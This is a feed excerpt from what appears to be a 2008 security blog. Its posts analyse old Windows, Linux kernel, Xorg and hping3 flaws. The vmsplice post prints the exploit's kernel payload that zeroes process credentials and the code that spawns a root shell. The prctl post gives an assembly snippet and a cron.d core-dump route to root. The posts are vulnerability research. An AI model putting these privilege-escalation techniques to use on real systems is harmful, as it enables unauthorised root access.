Security'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-184758660330607688</id><published>2008-02-13T11:36:00.007+01:00</published><updated>2008-02-13T12:18:37.861+01:00</updated><title type='text'>MS08-004 CVE-2008-0084 Windows Vista remote reboot</title><content type='html'>If the attacker assign the broadcast address to multiples hosts with DHCP requests, the Microsoft Windows Vista's duplicate ip detection algorithm will try to erase the route-table this broadcast, address and then the system is reboted.&lt;br /&gt;&lt;br /&gt;&lt;a href='http://www.microsoft.com/downloads/details.aspx?familyid=8ce9608b-7049-47cd-adc4-22a803877d33&amp;displaylang=en'&gt;Security Fix&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-184758660330607688?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/184758660330607688/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=184758660330607688' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/184758660330607688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/184758660330607688'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/ms08-004-cve-2008-0084-windows-vista.html' title='MS08-004 CVE-2008-0084 Windows Vista remote reboot'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-451850626996643036</id><published>2008-02-10T21:11:00.002+01:00</published><updated>2008-02-13T11:36:00.824+01:00</updated><title type='text'>Linux vmsplice Local Root Exploit</title><content type='html'>Linux vmsplice syscall let a non-root user inject and execute code to the kernel.&lt;br /&gt;&lt;br /&gt;Vulnerable kernels: Linux 2.6.17 - 2.6.24.1&lt;br /&gt;&lt;br /&gt;It works ok in my Debian 2.6.18-4-486&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_YDjJDsk93g0/R69j4DQOdiI/AAAAAAAAACo/TOPt_L-smXM/s1600-h/fot3.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_YDjJDsk93g0/R69j4DQOdiI/AAAAAAAAACo/TOPt_L-smXM/s320/fot3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5165457112214435362" /&gt;&lt;/a&gt;&lt;br /&gt;The goal is inject this code to the kernel.&lt;br /&gt;This loop, check the task_struct, if a process with the current uid and gid is found, then is setted to zero.&lt;pre&gt;void    kernel_code()&lt;br /&gt;{&lt;br /&gt; int i;&lt;br /&gt; uint *p = get_current();&lt;br /&gt;&lt;br /&gt; for (i = 0; i &lt; 1024-13; i++) {&lt;br /&gt;  if (p[0] == uid &amp;&amp; p[1] == uid &amp;&amp;&lt;br /&gt;      p[2] == uid &amp;&amp; p[3] == uid &amp;&amp;&lt;br /&gt;      p[4] == gid &amp;&amp; p[5] == gid &amp;&amp;&lt;br /&gt;      p[6] == gid &amp;&amp; p[7] == gid) {&lt;br /&gt;   p[0] = p[1] = p[2] = p[3] = 0;&lt;br /&gt;   p[4] = p[5] = p[6] = p[7] = 0;&lt;br /&gt;   p = (uint *) ((char *)(p + 8) + sizeof(void *));&lt;br /&gt;   p[0] = p[1] = p[2] = ~0;&lt;br /&gt;   break;&lt;br /&gt;  }&lt;br /&gt;  p++;&lt;br /&gt; } &lt;br /&gt; exit_kernel();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Then a root shell can be spawned:&lt;pre&gt;void exit_code()&lt;br /&gt;{&lt;br /&gt; if (getuid() != 0)&lt;br /&gt;  die("wtf", 0);&lt;br /&gt;&lt;br /&gt; printf("[+] root\n");&lt;br /&gt; putenv("HISTFILE=/dev/null");&lt;br /&gt; execl("/bin/bash", "bash", "-i", NULL);&lt;br /&gt; die("/bin/bash", errno);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;kernel_code() is mapped and spliced to a pipe with _vmsplice(pi[1], &amp;iov, 1, 0);&lt;br /&gt;exit_code() is assigned to the SIGPIPE signal.&lt;br /&gt;&lt;br /&gt;&lt;a href='http://www.milw0rm.com/exploits/5092'&gt;The Exploit Code.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The problem is at: /fs/splice.c   copy_from_user_mmap_sem() &lt;br /&gt;&lt;br /&gt;They have solved the problem by adding two access_ok() calls to check the permissions of the page(s) to copy.&lt;br /&gt;&lt;br /&gt;The get_iovec_page_array() function, also need this access_ok() check, This monday this patch has been committed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-451850626996643036?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/451850626996643036/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=451850626996643036' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/451850626996643036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/451850626996643036'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/linux-vmsplice-local-root-exploit.html' title='Linux vmsplice Local Root Exploit'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_YDjJDsk93g0/R69j4DQOdiI/AAAAAAAAACo/TOPt_L-smXM/s72-c/fot3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-7248952945880385918</id><published>2008-02-08T17:00:00.002+01:00</published><updated>2008-04-16T18:18:19.572+02:00</updated><title type='text'>Multi Protocol Proxy</title><content type='html'>I have improved the visibility of my multi-protocol proxy.&lt;br /&gt;&lt;br /&gt;This soft is useful if you want to analyze a protocol, or a daemon. Plug this stuff at the middle, point it to the daemon, and point the client to the proxy.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_YDjJDsk93g0/R69V8zQOdhI/AAAAAAAAACg/GSNJ_7J1afI/s1600-h/capt1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_YDjJDsk93g0/R69V8zQOdhI/AAAAAAAAACg/GSNJ_7J1afI/s320/capt1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5165441800656025106" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;~ &gt; sha0proxy.pl &lt;br /&gt;/bin/sha0proxy.pl &lt;lport&gt; &lt;rhost&gt; &lt;rport&gt; &lt;mode&gt;&lt;br /&gt;modes: view trap&lt;br /&gt;&lt;br /&gt;At view mode, you can view the comunication. &lt;br /&gt;At trap mode you can interact with the communication.&lt;br /&gt;&lt;br /&gt;&lt;a href='http://jolmos.tetrabrick.net/codes/sha0proxy'&gt;download sha0proxy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-------- sha0proxy.pl ----------&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#Proxy MultiProtocolo&lt;br /&gt;#sha0proxy.pl  v0.5 coded by sha0[@]badchecksum[.]net&lt;br /&gt;#Private No distribuir!!&lt;br /&gt;#TODO: capturar SIGINT&lt;br /&gt;#      ncurses para modificar los bytes directamente&lt;br /&gt;#      udp&lt;br /&gt;#      formato shellcode&lt;br /&gt;#      logear&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#You have to install vncviewer, and the following perl modules:&lt;br /&gt;#perl -MCPAN -e shell&lt;br /&gt;#cpan&gt;install threads&lt;br /&gt;#...&lt;br /&gt;#cpan&gt;install IO::Socket&lt;br /&gt;#...&lt;br /&gt;#cpan&gt;install IO::Select&lt;br /&gt;#...&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;use IO::Select;&lt;br /&gt;#use Net::UDP;&lt;br /&gt;my %color=(&lt;br /&gt;        red=&gt;"\x1b[31;01m",&lt;br /&gt;        green=&gt;"\x1b[32;02m",&lt;br /&gt;        yellow=&gt;"\x1b[33;01m",&lt;br /&gt;        blue=&gt;"\x1b[34;01m",&lt;br /&gt;        magenta=&gt;"\x1b[35;01m",&lt;br /&gt;        cyan=&gt;"\x1b[36;01m",&lt;br /&gt;        white=&gt;"\x1b[37;00m"&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;die "$0 &lt;lport&gt; &lt;rhost&gt; &lt;rport&gt; &lt;mode&gt;\nmodes: view trap\n" if (@ARGV!=4);&lt;br /&gt;die "Valid modes are:  view &amp; trap\n" if ($ARGV[3] ne 'view' &amp;&amp; $ARGV[3] ne 'trap');&lt;br /&gt;&lt;br /&gt;#my $lport=(int(rand(500))+10000);&lt;br /&gt;my $lport=$ARGV[0];&lt;br /&gt;my $rport=$ARGV[2];&lt;br /&gt;my $rhost=$ARGV[1];&lt;br /&gt;my $buff;&lt;br /&gt;my $vulnerable=0;&lt;br /&gt;my $mode=$ARGV[3];&lt;br /&gt;&lt;br /&gt;my $out;&lt;br /&gt;my $in=IO::Socket::INET-&gt;new (&lt;br /&gt;        LocalAddr=&gt;'0.0.0.0',&lt;br /&gt;        LocalPort=&gt;$lport,&lt;br /&gt;        Proto=&gt;'tcp',&lt;br /&gt;        Listen=&gt;1,&lt;br /&gt;        Reuse=&gt;100&lt;br /&gt;) or die "cannot open port $!\n";&lt;br /&gt;&lt;br /&gt;print "listening $lport port\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#print  "\x1b[?25l"; #no cursor&lt;br /&gt;&lt;br /&gt;while (my $welcome=$in-&gt;accept()) {&lt;br /&gt;        $out=IO::Socket::INET-&gt;new (&lt;br /&gt;                PeerAddr=&gt;$rhost,&lt;br /&gt;                PeerPort=&gt;$rport,&lt;br /&gt;                Timeout=&gt;20&lt;br /&gt;        ) or die "cannot connect $!\n";&lt;br /&gt;&lt;br /&gt;        print "connected to $rhost:$rport\n";&lt;br /&gt;       if (!fork()) {&lt;br /&gt;                $out-&gt;blocking(1);&lt;br /&gt;                $welcome-&gt;blocking(1);&lt;br /&gt;                $out-&gt;autoflush(1);&lt;br /&gt;                $welcome-&gt;autoflush(1);&lt;br /&gt;&lt;br /&gt;                $s=IO::Select-&gt;new($out, $welcome);&lt;br /&gt;        proxy:&lt;br /&gt;                while(1) {&lt;br /&gt;                        my @ready = $s-&gt;can_read;&lt;br /&gt;                        foreach my $ready (@ready) {&lt;br /&gt;                                if($ready == $welcome) {&lt;br /&gt;                                        my $data;&lt;br /&gt;                                        $welcome-&gt;recv($data, 8192);&lt;br /&gt;                                        last proxy if (! length($data));&lt;br /&gt;                                        last proxy if(!$out || !$out-&gt;connected);&lt;br /&gt;                                        &amp;muestra($data,1);&lt;br /&gt;                                        if ($mode ne 'view') {&lt;br /&gt;                                                print "=&gt;&gt;";&lt;br /&gt;                                                $cmd=&lt;stdin&gt;;&lt;br /&gt;                                                chomp($cmd);&lt;br /&gt;                                                $data=sprintf(eval("\"$cmd\"")) if (length($cmd));&lt;br /&gt;                                        }&lt;br /&gt;                                        eval { $out-&gt;send($data); };&lt;br /&gt;                                        last proxy if $@;&lt;br /&gt;                                } elsif ($ready == $out) {&lt;br /&gt;                                        my $data;&lt;br /&gt;                                        $out-&gt;recv($data, 8192);&lt;br /&gt;                                        last proxy if(!length($data));&lt;br /&gt;                                        last proxy if(!$welcome || !$welcome-&gt;connected);&lt;br /&gt;                                        &amp;muestra($data,0);&lt;br /&gt;                                        if ($mode ne 'view') {&lt;br /&gt;                                                print "=&lt;&lt;";&lt;br /&gt;                                                $cmd=&lt;stdin&gt;;&lt;br /&gt;                                                chomp($cmd);&lt;br /&gt;                                                $data=sprintf(eval("\"$cmd\"")) if (length($cmd));&lt;br /&gt;                                        }&lt;br /&gt;                                        eval { $welcome-&gt;send($data); };&lt;br /&gt;                                        last proxy if $@;&lt;br /&gt;                                }&lt;br /&gt;                        }#foreach&lt;br /&gt;&lt;br /&gt;                        if (!$welcome || !$out) {&lt;br /&gt;                                close $out;&lt;br /&gt;                                close $welcome;&lt;br /&gt;                                return;&lt;br /&gt;                        }&lt;br /&gt;                }#while 1&lt;br /&gt;        } #fork&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;sub muestra {&lt;br /&gt;        my $data = $_[0];&lt;br /&gt;        my @bytes = split(//,$data);&lt;br /&gt;        my $b;&lt;br /&gt;        my $alserver = $_[1];&lt;br /&gt;        my $count=0;&lt;br /&gt;        my $str="";&lt;br /&gt;        my $lin=1;&lt;br /&gt;        print $color{white};&lt;br /&gt;        print "&gt;"x33 if ($alserver);&lt;br /&gt;        print "&lt;"x33 if (!$alserver);&lt;br /&gt;        print "\n   |00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20|";&lt;br /&gt;        print "\n---+--------------------------------------------------------------+---\n";&lt;br /&gt;&lt;br /&gt;        print "000|";&lt;br /&gt;        foreach $b (@bytes) {&lt;br /&gt;                print $color{green}  if (($b ge 'a' &amp;&amp; $b le 'z') ||($b ge 'A' &amp;&amp; $b le 'Z') || $b eq "\x20");&lt;br /&gt;                print $color{blue}   if ($b ge '0' &amp;&amp; $b le '9');&lt;br /&gt;                print $color{red}    if ($b eq "\x00");&lt;br /&gt;                print $color{cyan}   if ($b eq "\x0a" || $b eq "\x0d");&lt;br /&gt;                printf "%.2x ",ord($b);&lt;br /&gt;                print $color{white};&lt;br /&gt;$b = "." if ($b lt "\x20" || $b gt "\x7e");&lt;br /&gt;&lt;br /&gt;                $count++;&lt;br /&gt;                $str.=$b;&lt;br /&gt;                if ($count==21) {&lt;br /&gt;&lt;br /&gt;                        #$str=~s/[^a-z^A-Z^0-9^#^@^:^]/\./ig;&lt;br /&gt;&lt;br /&gt;                        $count = 0;&lt;br /&gt;                        printf "%s\n%.3d|",$str,$lin;&lt;br /&gt;                        $lin++;&lt;br /&gt;                        $str="";&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;        $str=~s/[^a-z^A-Z^0-9^#^@]/\./ig;&lt;br /&gt;        for ($b=$count;$b&lt;21;$b++){&lt;br /&gt;                print "   ";&lt;br /&gt;        }&lt;br /&gt;        print $str."\n";&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-7248952945880385918?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/7248952945880385918/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=7248952945880385918' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7248952945880385918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7248952945880385918'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/multi-protocol-proxy.html' title='Multi Protocol Proxy'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_YDjJDsk93g0/R69V8zQOdhI/AAAAAAAAACg/GSNJ_7J1afI/s72-c/capt1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-7532741522705051524</id><published>2008-02-01T11:44:00.000+01:00</published><updated>2008-02-03T11:22:30.685+01:00</updated><title type='text'>Xorg stack oveflow privilege scalation</title><content type='html'>If the user sets more number of visuals than the number of visuals of all screens, then the swap bucle can be abused.&lt;br /&gt;&lt;br /&gt;Xext/EVI.c &lt;br /&gt;ProcEVIGetVisualInfo(ClientPtr client)&lt;br /&gt;&lt;br /&gt;+    for (i = 0; i &lt; screenInfo.numScreens; i++)&lt;br /&gt;+       total_visuals += screenInfo.screens[i]-&gt;numVisuals;&lt;br /&gt;+    if (stuff-&gt;n_visual &gt; total_visuals)&lt;br /&gt;+       return BadValue;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;more info soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-7532741522705051524?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/7532741522705051524/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=7532741522705051524' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7532741522705051524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7532741522705051524'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/02/xorg-stack-oveflow-privilege-scalation.html' title='Xorg stack oveflow privilege scalation'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-6887904881264932165</id><published>2008-01-24T01:03:00.000+01:00</published><updated>2008-01-31T18:31:09.219+01:00</updated><title type='text'>CVE-2008-0001 Privilege scalation exploit.</title><content type='html'>CVE-2008-0001 Linux Kernel VFS Unauthorized File Access Vulnerability.&lt;br /&gt;&lt;br /&gt;Trond changed namei.c code, and implemented a vulnerability on 18 Oct 2005&lt;br /&gt;Bill Roman detected it and solve the problem in the following patch:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--- a/fs/namei.c&lt;br /&gt;+++ b/fs/namei.c&lt;br /&gt;@@ -1576,7 +1576,7 @@ int may_open(struct nameidata *nd, int acc_mode, int flag)&lt;br /&gt;        if (S_ISLNK(inode-&gt;i_mode))&lt;br /&gt;                return -ELOOP;&lt;br /&gt;        &lt;br /&gt;-       if (S_ISDIR(inode-&gt;i_mode) &amp;&amp; (flag &amp; FMODE_WRITE))&lt;br /&gt;+       if (S_ISDIR(inode-&gt;i_mode) &amp;&amp; (acc_mode &amp; MAY_WRITE))&lt;br /&gt;                return -EISDIR;&lt;br /&gt; &lt;br /&gt;        error = vfs_permission(nd, acc_mode);&lt;br /&gt;                        return -EACCES;&lt;br /&gt; &lt;br /&gt;                flag &amp;= ~O_TRUNC;&lt;br /&gt;-       } else if (IS_RDONLY(inode) &amp;&amp; (flag &amp; FMODE_WRITE))&lt;br /&gt;+       } else if (IS_RDONLY(inode) &amp;&amp; (acc_mode &amp; MAY_WRITE))&lt;br /&gt;                return -EROFS;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Well, FMODE_WRITE=2 if we open with O_RDWR (=2) at don't writable file, we will get -EROFS&lt;br /&gt;but we can use O_WRONLY (=1) and !=  FMODE_WRITE (=2) then we can map the descriptor to memory and write ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#drwxr-xr-x   2 root root  4096 2008-01-28 15:46 test&lt;br /&gt;#su - shao&lt;br /&gt;&lt;br /&gt;Without write permissions, shao has appended&lt;br /&gt;&lt;br /&gt;open("/test", O_WRONLY)                 = -1 EISDIR (Is a directory)&lt;br /&gt;open("/test", O_RDWR)                   = -1 EISDIR (Is a directory)&lt;br /&gt;open("/test", O_RDONLY|O_APPEND)        = 3&lt;br /&gt;&lt;br /&gt;O_APPEND succeed and kernel give us 3rd descriptor.&lt;br /&gt;&lt;br /&gt;If we write with write() syscall:&lt;br /&gt;&lt;br /&gt;open("/tmp/test", O_RDONLY|O_APPEND)    = 3&lt;br /&gt;lseek(3, 0, SEEK_END)                   = 5&lt;br /&gt;write(3, ptrace: umoven: Input/output error&lt;br /&gt;0x41, 1)                       = -1 EBADF (Bad file descriptor)&lt;br /&gt;close(3)                                = 0&lt;br /&gt;&lt;br /&gt;write() syscalls return EBADF, he don't let us modify this kind of descriptor, he did a check.&lt;br /&gt;mmap() syscall return -1&lt;br /&gt;&lt;br /&gt;Well, from user space we can't exploit this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-6887904881264932165?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/6887904881264932165/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=6887904881264932165' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6887904881264932165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6887904881264932165'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/01/first-2008s-vulnerability-at-linux.html' title='CVE-2008-0001 Privilege scalation exploit.'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-8820570978877896357</id><published>2008-01-15T13:30:00.000+01:00</published><updated>2008-01-21T07:18:01.525+01:00</updated><title type='text'>hping3 double free security flaw.</title><content type='html'>Today my friend Mario Diaz have discovered a interesting flaw in hping3, is a race condition + heap overflow dodgy of reproduce.&lt;br /&gt;&lt;br /&gt;I love this kind of flaws, let's  analyse the problem in order to make the exploit:&lt;br /&gt;&lt;br /&gt;pcap_close sometimes cause a double free corruption:&lt;br /&gt;&lt;br /&gt;pcap_next(0x8079f20, 0x8069c70, 130, 0, 0)       = 0x807a12a&lt;br /&gt;memcpy(0xb33e7970, "", 66)                       = 0xb33e7970&lt;br /&gt;pcap_next(0x8079f20, 0x8069c70, 66, 0, 0)        = 0x807a12a&lt;br /&gt;memcpy(0xb33e7970, "", 66)                       = 0xb33e7970&lt;br /&gt;pcap_next(0x8079f20, 0x8069c70, 66, 0, 0)        = 0x807a12a&lt;br /&gt;memcpy(0xb33e7970, "\252", 130)                  = 0xb33e7970&lt;br /&gt;pcap_next(0x8079f20, 0x8069c70, 130, 0, 0)       = 0x807a12a&lt;br /&gt;--- SIGALRM (Alarm clock) ---&lt;br /&gt;pcap_close(0x8079f20, 0, 0, 0x804eb0d, 0)        = 505&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When hping sends a packet, if you have specified the -c flag (number of packets) and all packets are sended, a sigalarm is called:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;send.c:void send_packet (int signal_id) {&lt;br /&gt;...&lt;br /&gt;        sent_pkt++;&lt;br /&gt;        Signal(SIGALRM, send_packet);&lt;br /&gt;&lt;br /&gt;        if (count != -1 &amp;&amp; count == sent_pkt) { /* count reached? */&lt;br /&gt;                Signal(SIGALRM, print_statistics);&lt;br /&gt;                alarm(COUNTREACHED_TIMEOUT);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hping2.h:#define COUNTREACHED_TIMEOUT 1&lt;br /&gt;&lt;br /&gt;One second later, a sigalarm is triggered, and print_statistics is called.&lt;br /&gt;&lt;br /&gt;statistics.c:print_statistics(int signal_id) {&lt;br /&gt;&lt;br /&gt;        close_pcap();&lt;br /&gt;&lt;br /&gt;I have reproduced the problem:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main (void) {&lt;br /&gt;        pcap_t *p;&lt;br /&gt;        char *errbuf = (char *)malloc(3000);&lt;br /&gt;&lt;br /&gt;        if (p = pcap_open_live(NULL,65535,1,3000,errbuf)) {&lt;br /&gt;                pcap_close(p);&lt;br /&gt;                pcap_close(p);&lt;br /&gt;        } else {&lt;br /&gt;                printf("open failed\n");&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;# ./pcap&lt;br /&gt;*** glibc detected *** double free or corruption (out): 0x0804adc0 ***&lt;br /&gt;Abortado&lt;br /&gt;&lt;br /&gt;# ldd -d pcap&lt;br /&gt;        linux-gate.so.1 =&gt;  (0xffffe000)&lt;br /&gt;        libpcap.so.0.8 =&gt; /usr/lib/libpcap.so.0.8 (0xb7f94000)&lt;br /&gt;        libc.so.6 =&gt; /lib/tls/i686/cmov/libc.so.6 (0xb7e63000)&lt;br /&gt;        /lib/ld-linux.so.2 (0xb7fd5000)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the race condition succeed, the pcap_close() is called twice, and then the double-free happens.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-8820570978877896357?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/8820570978877896357/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=8820570978877896357' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8820570978877896357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8820570978877896357'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/01/hping3-doblefree-security-flaw.html' title='hping3 double free security flaw.'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-2788790763035124702</id><published>2008-01-09T15:07:00.000+01:00</published><updated>2008-01-18T11:25:30.570+01:00</updated><title type='text'>prctl problems have been solved</title><content type='html'>In 2.6.22.* and prior we can do a prctl(PR_SET_DUMPABLE,2) then current-&gt;mm-&gt;dumpable value will be 2.&lt;br /&gt;&lt;br /&gt;Let's see the bad check:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- a/kernel/sys.c&lt;br /&gt;+++ b/kernel/sys.c&lt;br /&gt;@@ -1983,7 +1983,7 @@ asmlinkage long sys_prctl(int option, unsigned long arg2, unsigned long arg3,&lt;br /&gt;                        error = current-&gt;mm-&gt;dumpable;&lt;br /&gt;                        break;&lt;br /&gt;                case PR_SET_DUMPABLE:&lt;br /&gt;-                       if (arg2 &lt; 0 || arg2 &gt; 2) {&lt;br /&gt;+                       if (arg2 &lt; 0 || arg2 &gt; 1) {&lt;br /&gt;                                error = -EINVAL;&lt;br /&gt;                                break;&lt;br /&gt;                        }&lt;br /&gt;                        current-&gt;mm-&gt;dumpable = arg2;&lt;br /&gt;                        break;&lt;br /&gt;&lt;br /&gt;A non-root user can make an exploit like this and set PR_SET_DUMPABLE to two:&lt;br /&gt;&lt;br /&gt;.text&lt;br /&gt;.global main&lt;br /&gt;main:&lt;br /&gt;        mov $172, %eax&lt;br /&gt;        mov $2, %ebx&lt;br /&gt;        int $0x80&lt;br /&gt;&lt;br /&gt;Is possible to make a SIGSEGV sgnal to this process and make a core in a directory that the user doesnt have permissions.&lt;br /&gt;&lt;br /&gt;One way to get root is make a file in cron.d or fill a disk when only root are quota free, RoManSoFt and Dreyer used this trick in their exploit, see rs-labs.&lt;br /&gt;&lt;br /&gt;I estimate that the linux kernel have more bad-checks like that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-2788790763035124702?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 